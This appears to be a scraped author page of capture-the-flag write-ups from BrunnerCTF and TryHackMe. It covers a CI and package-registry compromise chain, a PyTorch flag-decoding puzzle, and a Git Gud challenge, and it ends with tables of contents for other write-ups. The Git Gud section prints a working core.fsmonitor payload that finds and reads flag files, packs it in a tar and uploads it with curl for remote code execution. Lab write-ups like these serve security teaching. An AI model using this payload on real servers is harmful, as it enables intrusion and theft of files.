Secret left in old git commit, never rotated after being "fixed" -> brunner_ci, with push on hello-drone
hello-drone's Drone pipeline ran unreviewed code on every push -> shell as drone on the CI runner
rollout-agent.py on that host polls a package registry every 30s and runs postinstall as root, with no signature check - only a self-generated SHA256SUMS
Direct registry package-write was blocked for every available account
deploy-tools's README pointed at the intended bypass: forking with pull-only access, then opening a PR - Drone injects the target repo's secrets into fork-originated PR builds
Captured REGISTRY_TOKEN live from the PR build's process environment (bypassing Drone's literal-string log redaction) and, as a bonus, landed a second shell running as root directly inside that build step
Used the token to upload a malicious rollout-bundle version; first hook attempt died to the agent's 60-second timeout because the shell blocked the hook process from exiting - fixed by detaching with setsid + disown + immediate exit 0
Agent installed the new version on its next poll and ran the detached hook as root -> /root/flag.txt
Post-root sweep of Drone build logs and earlier package registry versions turned up a bonus flag stashed in rollout-bundle version 1.4.2, a version never touched during the main chain

Root cause and lessons

Plaintext secrets in onboarding docs and git history. A secret "removed" from HEAD is not removed - old commits remain fully reachable unless history is rewritten and force-pushed, and even then, prior clones or forks retain the blob.
CI pipelines that run arbitrary code on push with no review are equivalent to granting whoever can push the same privilege as whoever runs the CI system. brunner_ci's narrow, intentional scope (push to one low-value repo) was irrelevant once that repo's pipeline executed as a trusted CI identity.
Fork-and-PR secret injection is a well-known Drone/GitHub-Actions-class footgun. Base-repo secrets should never be exposed to pipelines triggered by external, unreviewed pull requests without an explicit approval gate.
An autonomous deployment agent with root privilege and no artifact signing is a complete bypass of every access control layered in front of it. Every credential boundary earlier in the chain (brunner_dev -> brunner_ci -> registry org membership) existed for nothing once a self-generated checksum was the only integrity check standing between an attacker-controlled tarball and root execution.
Old package versions in a registry are just as much a liability as old git commits. The bonus flag in 1.4.2 was a direct reminder that "current state looks clean" doesn't mean the history behind it does - anything ever uploaded to a registry with no retention or access policy is still fetchable by anyone with read access, indefinitely.

BrunnerCTF 2026 : Activating Neurons Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 15:46:18 +0000

Summary

The challenge ships a single file, activating_neurons.py, defining a small
nn.Module called BrunsvigerNet. The model has two linear layers, but
forward() only runs the input through the first layer before returning -
the second layer, which holds all the pre-trained weights, is never called.
Because the dummy input is a zero vector, the first layer's untrained random
weight matrix contributes nothing, leaving a fixed, deterministic bias
vector. Restoring the missing call to the second layer feeds that vector
through the pre-trained weights and produces 70 output values that decode
directly to ASCII, spelling out the flag.

1. Recon - reading the model definition

cat activating_neurons.py

Key structure:

class BrunsvigerNet(nn.Module):
    def __init__(self):
        super().__init__()
        self.input_layer  = nn.Linear(4, 4)
        self.hidden_layer = nn.Linear(4, 70)

        # Only the bias of input_layer and the weight+bias of
        # hidden_layer are explicitly set. input_layer.weight is
        # left at its random default init.
        self.input_layer.bias    = nn.Parameter(torch.tensor([-0.797, -0.047, 0.527, 1.965]))
        self.hidden_layer.weight = nn.Parameter(torch.tensor([...70 rows of 4 floats...]))
        self.hidden_layer.bias   = nn.Parameter(torch.tensor([...70 floats, mostly 35-125...]))

    def forward(self, x):
        x = self.input_layer(x)
        # Something seems to be missing?
        return x

Two details stand out immediately:

hidden_layer has 70 outputs and a bias vector whose values (roughly 35-125) sit squarely in the printable ASCII range. input_layer's bias only has 4 values and is nowhere near that range. This is a strong hint that the flag lives in hidden_layer's output, not input_layer's.
The comment # Something seems to be missing? sits exactly where a call to hidden_layer should be. forward() never uses hidden_layer at all, so as written, the model is "completely passive and linear" - it just applies one affine transform and stops.

2. Working out why the input doesn't matter

dummy_input = torch.zeros(4)

input_layer.weight was never explicitly set, so PyTorch left it at its
random default initialization - normally that would make the output
non-deterministic. But the driver script always calls the model with a zero
vector:

input_layer(x) = input_layer.weight @ x + input_layer.bias
                = input_layer.weight @ 0 + input_layer.bias
                = input_layer.bias

The random weight matrix gets multiplied by zero and drops out entirely.
Whatever input_layer(dummy_input) produces is just the fixed bias vector
[-0.797, -0.047, 0.527, 1.965], regardless of the random init. This makes
the rest of the computation fully deterministic even though one layer's
weights were never pinned down.

3. Patching the model

The fix is a one-line addition to forward(), restoring the call to
hidden_layer:

def forward(self, x):
    x = self.input_layer(x)
    x = self.hidden_layer(x)   # <-- restored
    return x

With this in place, the fixed 4-value output of input_layer is projected
through hidden_layer's pre-trained 70x4 weight matrix and offset by its
bias, giving 70 deterministic float outputs.

4. Decoding the output

The existing decode logic in the script does the rest - round each output
to the nearest integer and treat it as a Unicode code point:

with torch.no_grad():
    output = model(dummy_input)
    flag = "".join([chr(int(round(val.item()))) for val in output])
    print(f"[+] Output: {flag}")

$ python3 activating_neurons_fixed.py
[+] Output: brunner{ml_c4n_b3_fun_th3_m05t_1mp0rt4nt_1ngr3d13nt_15_l0v3_4nd_5ug4r}

Full patched script

import torch
import torch.nn as nn
import torch.nn.functional as F

class BrunsvigerNet(nn.Module):
    def __init__(self):
        super().__init__()
        self.input_layer = nn.Linear(4, 4)
        self.hidden_layer = nn.Linear(4, 70)

        self.input_layer.bias = nn.Parameter(torch.tensor([-0.797, -0.047, 0.527, 1.965]))
        self.hidden_layer.weight = nn.Parameter(torch.tensor([[-4.39, -2.423, -1.867, -1.904], [1.353, -0.14, -1.779, -4.539], [2.281, -2.412, -1.322, 0.744], [-3.722, -1.752, -0.022, -3.183], [-2.911, 0.174, 0.565, -4.052], [4.878, 1.219, -2.58, -3.097], [-0.069, -1.732, -4.861, -4.858], [-0.969, 3.21, 2.105, 0.866], [0.417, 4.577, 1.644, 0.429], [-1.569, -4.538, -2.854, 1.111], [4.325, 2.35, 2.515, 0.64], [1.888, -3.13, -1.799, 2.074], [-2.475, -2.086, -1.14, -3.35], [2.057, -3.601, -4.482, -0.609], [1.932, -1.995, 1.549, 4.417], [-1.827, 4.91, -3.891, -0.415], [-0.118, -3.945, 0.162, -4.841], [-2.268, -2.489, 1.48, -1.604], [4.132, 0.383, 0.343, 3.892], [3.035, 4.214, -2.314, -2.049], [4.254, 0.817, 1.833, -0.558], [4.541, 2.546, 2.009, -2.498], [-1.792, -0.393, -3.151, 0.826], [1.283, 0.606, -1.593, -0.719], [-4.634, -0.794, 2.015, -0.929], [3.41, -0.978, -3.722, 0.468], [-1.268, 3.495, -3.803, 3.39], [-2.066, 0.186, -1.032, -0.416], [4.403, 2.929, 4.3, -3.7], [-2.59, 3.617, -0.043, -0.883], [1.154, -2.86, -0.17, 3.609], [-3.072, 1.273, -0.161, 2.205], [0.379, -1.633, 3.722, -3.587], [2.007, -1.652, -1.695, 0.465], [-4.604, -3.688, 4.422, 3.472], [0.197, -0.993, -4.595, 4.734], [-3.434, -4.237, -4.243, 3.235], [3.894, -3.769, 1.402, 3.643], [1.968, -0.144, 1.857, 0.7], [1.691, -2.967, -4.05, -2.571], [4.895, -3.5, -0.629, -0.15], [-2.357, -1.781, -4.421, -0.665], [-2.088, 0.465, 1.621, -4.975], [2.726, 4.976, -1.18, -4.023], [4.693, -2.901, -2.351, -1.66], [-0.295, -4.371, 4.282, 3.575], [-3.862, -2.341, 2.797, 0.406], [3.652, -1.441, 0.22, 0.786], [-4.659, -0.073, -0.502, -3.23], [-4.216, -1.045, -1.222, -4.161], [0.265, -4.894, 0.172, -1.409], [-2.073, -3.28, 0.749, -3.344], [-2.543, 2.4, -3.346, 1.413], [4.685, 4.291, -4.936, -0.571], [2.029, 3.904, 4.232, -1.808], [-4.278, -3.547, 0.927, -1.0], [-4.274, 2.469, 4.981, -1.513], [-2.374, 4.603, -2.192, -3.001], [-1.222, -2.382, 3.372, -3.695], [0.924, -3.743, -1.743, 1.862], [-2.303, -3.936, 2.809, 0.191], [-0.839, -3.08, -1.847, 1.234], [-2.654, 1.084, -0.325, 1.65], [0.39, 4.978, 3.792, -0.999], [4.583, 4.91, 3.66, -2.061], [-0.436, 0.846, -1.334, -1.999], [-1.104, -0.372, -3.081, 1.422], [-2.045, 3.593, -2.272, 3.4], [1.881, 1.313, -3.93, -3.481], [3.875, -4.237, 4.047, 0.312]]))
        self.hidden_layer.bias = nn.Parameter(torch.tensor([99.112558, 124.928429, 117.939327, 113.217411, 115.352536, 112.390324, 125.97132, 119.567552, 107.838095, 105.857164, 95.97447, 97.230289, 57.112913, 115.028881, 86.950311, 99.640683, 60.14773, 95.447321, 97.482664, 124.862716, 113.559316, 102.588666, 114.590792, 107.303379, 48.032964, 98.713678, 103.4965, 47.723444, 61.651254, 115.863525, 88.78322299999999, 42.363469, 114.312273, 113.501475, 35.004402, 107.229593, 108.943249, 47.029026, 109.207589, 124.394643, 99.363048, 50.674356, 117.279327, 113.933549, 122.104851, 41.277958999999996, 94.54015, 50.182487, 53.89485, 115.411092, 118.659228, 99.369896, 46.072826, 60.658909, 98.123057, 105.900196, 45.057723, 123.376412, 55.397743, 92.820238, 48.123859, 107.735116, 94.864735, 95.509447, 59.004466, 121.323323, 100.932085, 45.05535, 124.472143, 125.143387], dtype=torch.float32))

    def forward(self, x):
        x = self.input_layer(x)
        # Fixed: the missing hidden layer activation
        x = self.hidden_layer(x)
        return x

model = BrunsvigerNet()
model.eval()

dummy_input = torch.zeros(4)

with torch.no_grad():
    output = model(dummy_input)
    flag = "".join([chr(int(round(val.item()))) for val in output])
    print(f"[+] Output: {flag}")

Key Vulnerabilities / Design Weaknesses

#	Weakness	Impact
1	`forward()` skips the layer holding the actual secret	Model output is meaningless until the missing layer call is restored
2	`input_layer.weight` left at random init	Normally non-deterministic, but neutralized by the always-zero dummy input, making the "secret" fully recoverable with static analysis alone
3	Secret encoded as raw ASCII via `chr(round(x))`	Once the correct layer is invoked, no further cryptography protects the output

Attack Chain

+----------------------------+
| Read model source           |
| (weights/biases in plain    |
| text, forward() incomplete) |
+--------------+---------------+
               |
               v
+----------------------------+
| Notice hidden_layer.bias    |
| values fall in ASCII range  |
| (35-125) -> secret lives    |
| in hidden_layer output      |
+--------------+---------------+
               |
               v
+----------------------------+
| Confirm dummy_input=zeros   |
| nulls out input_layer's     |
| random weight, leaving a    |
| fixed bias vector           |
+--------------+---------------+
               |
               v
+----------------------------+
| Patch forward():            |
| add x = hidden_layer(x)     |
+--------------+---------------+
               |
               v
+----------------------------+
| Run model, round outputs,   |
| chr() each value            |
+--------------+---------------+
               |
               v
+----------------------------+
| Flag recovered              |
+----------------------------+

Mitigations (if this were a real system rather than a CTF)

Never ship pre-trained weights or biases in plaintext source alongside the inference code; store them in a separate artifact with access controls.
Don't rely on an incomplete forward() pass as an obfuscation mechanism - it's trivially fixed by anyone who can read the class definition.
If a value truly needs to stay secret, encrypt or hash it rather than encoding it as reversible ASCII code points in model parameters.
Avoid always calling inference with a fixed, predictable input (e.g. an all-zero vector) if any part of the security model depends on the input actually varying.

Files

activating_neurons.py - original challenge file
activating_neurons_fixed.py - patched version with the restored hidden_layer call in forward()

BrunnerCTF : Git Gud Writeup (2026)

Yogeshwar Peela — Sun, 23 Aug 2026 15:30:56 +0000

Summary

A Flask web app accepts a .tar upload of a "git repository" and runs git status
and git log against it to display commit stats. Because the tar is extracted with
no validation and real git commands are then executed against the result,
an attacker can upload a tar containing a crafted .git/config that sets
core.fsmonitor to an arbitrary shell command. Git executes that command
automatically when git status runs, giving server-side code execution as the
web app user.

Since the app only surfaces stderr on a failed git call, the output is exfiltrated
by having the hook touch a file named after the flag contents in the working
directory. Git's own untracked-file scan picks it up and returns the filename
directly in the JSON response under status[].path, leaking the flag without
needing any error path or out-of-band channel.

Challenge

A Flask app lets you upload a .tar of a "git repository," then hits
/stats/<id> to render commit stats (git log) and unstaged changes
(git status) for it.

def untar_to_dir(tar_path, dest_root):
    os.makedirs(dest_root, exist_ok=True)
    p = subprocess.run(["tar", "-xf", tar_path, "-C", dest_root], ...)
    return p.returncode == 0
...
status_out, err = run_git_command(["status", "--porcelain"], repo_dir)
log_out, err = run_git_command(["log", "--numstat", ...], repo_dir)

The tar is extracted with no validation of its contents, then real
git commands are run directly against whatever ended up on disk.

Vulnerability

Nothing stops an uploaded tar from containing its own .git/config.
Git supports a config key, core.fsmonitor, that can be set to an
arbitrary shell command - when set, that command is executed by git
itself as soon as a command like git status runs (it's meant to be
a hook into a filesystem-watcher daemon, but git will happily run
anything you put there). This is a well-documented primitive (see the
2022 justCTF "buried bare repos and fsmonitor abuses" writeup).

So: upload a tar containing a crafted .git/ directory → server
extracts it → server runs git -C <dir> status --porcelain on it →
our core.fsmonitor command executes server-side.

Building the payload

git init -q repo && cd repo
git config user.email "a@a.com"
git config user.name "a"

# need at least one commit, otherwise the app's later `git log` call
# fails first and the response never gets built
echo "hello" > readme.txt
git add readme.txt
git commit -q -m "init"

# the RCE primitive
git config core.fsmonitor 'FLAG=$(find / -maxdepth 4 -xdev -type f -iname flag.txt -not -path "/proc/*" -not -path "/sys/*" -exec cat {} \; 2>/dev/null | head -c 200 | tr -d "\n"); touch -- "./LEAK_${FLAG}" 2>/dev/null; true'

rm -f .git/hooks/*.sample
tar -cf ../payload.tar .git

Exfil trick: the app only surfaces stderr when the git
subprocess itself fails (returncode != 0), and a failing fsmonitor
hook doesn't make git status fail - git just falls back to a normal
scan. So instead of trying to leak via stderr, the hook finds the
flag file and touches a new file in the working directory named
LEAK_<flag contents>. Git's own untracked-file scan (which runs
right after the hook) picks that file up, and its path - the flag
itself - comes straight back out in the JSON response.

Exploitation

curl -s -F "file=@payload.tar;filename=payload.tar" \
  https://git-gud-40774c2e2c2657d0-global.challs.brunnerne.xyz/upload
# {"id":"d05777e9...","message":"Git repo uploaded and saved"}

curl -s https://git-gud-40774c2e2c2657d0-global.challs.brunnerne.xyz/stats/d05777e9...

Response:

{
  "commits": [...],
  "status": [
    {"index": " ", "worktree": "D", "path": "readme.txt", "old_path": null},
    {"index": "?", "worktree": "?", "path": "LEAK_brunner{1_gu355_u_g0t_g00d_huh?}", "old_path": null}
  ]
}

Flag lands directly in status[].path.

Root cause

Trusting untrusted archive contents as a real git repository and
running git commands against them. .git/config is
attacker-controlled data, and several of its keys (core.fsmonitor,
core.pager, hooks, etc.) are effectively command execution.

Fix

Never run git (or any tool with config-driven command execution) against an untrusted, user-supplied directory.
If repo stats are genuinely needed from untrusted uploads, parse the git object format directly (e.g. with a pure library like dulwich/go-git in a sandboxed mode) rather than shelling out to the real git binary.
At minimum, strip/reject any uploaded .git/config, .git/hooks/, and set GIT_CONFIG_NOSYSTEM=1 plus explicit -c core.fsmonitor=false -c core.hooksPath=/dev/null on every invocation, and run inside a locked-down sandbox (no filesystem access beyond the repo dir).

DEV Community: Yogeshwar Peela

TryHackMe: Adventure Time Writeup

Summary

Attack Chain

1. Recon

2. FTP anonymous login - EXIF binary decode

3. Web enumeration - HTTPS vhost

4. Enumerating land-of-ooo.com

5. Port 31337 - get SSH username

6. SSH as apple-guards

7. Marceline's helper puzzle - Vigenère decode

8. SSH/su as marceline

9. Port 31337 again - get peppermint-butler password

10. su peppermint-butler

11. Bruteforce gunter's SSH password

12. su/SSH as gunter

13. CVE-2019-10149 - SUID exim4 LPE to root

14. Final flag - BMO reset code

Key Vulnerabilities

Mitigations

TryHackMe: Python Playground Writeup

Summary

Attack Chain

1. Recon

2. Content discovery

3. Filter analysis

4. Filter bypass

5. Reverse shell

6. Recovering connor's credentials (cipher reversal)

7. SSH access as connor

8. Realizing the RCE landed inside a Docker container

9. Container escape prep - abusing a shared log mount

10. Planting a SUID root binary on the host

11. Privilege escalation via the planted SUID binary

Key Vulnerabilities

Mitigations

TryHackMe - Olympus Writeup

Summary

1. Recon

2. Web Enumeration

3. Identifying the Vulnerable CMS

4. SQL Injection - search.php

4.1 Tables

4.2 Flag table

4.3 Users table

5. Cracking the Hash

6. CMS Admin Access

7. Second Vhost - chat.olympus.thm

7.1 Chat history via SQLi

7.2 Reverse shell upload

8. www-data Enumeration

9. Cracking the SSH Key and Logging in as zeus

10. Root via a Leftover Backdoor Webshell

11. Root and Bonus Flags

Key Vulnerabilities

Attack Chain

Mitigations

TryHackMe - CyberHeroes Writeup

Summary

1. Reconnaissance

2. Initial Web Enumeration

3. Directory Enumeration

4. Inspecting login.html

5. Recovering the Credentials

6. Retrieving the Flag

Key Vulnerabilities

Attack Chain

Mitigations

WebVersePro : SnowedOut writeup

1. Overview

2. Recon

3. Confirming the Injection Point

4. Reading the CSP Header

5. Dead Ends: Chasing a Classic XSS Detector

6. The Actual Solve Condition

7. Full Reproduction (Copy-Paste)

8. Root Cause

9. Fix Recommendations

HackSmarter - Casino Writeup

Summary

6. Recovering `connor`'s credentials (cipher reversal)

7. SSH access as `connor`

Successful RCE via `--data-urlencode`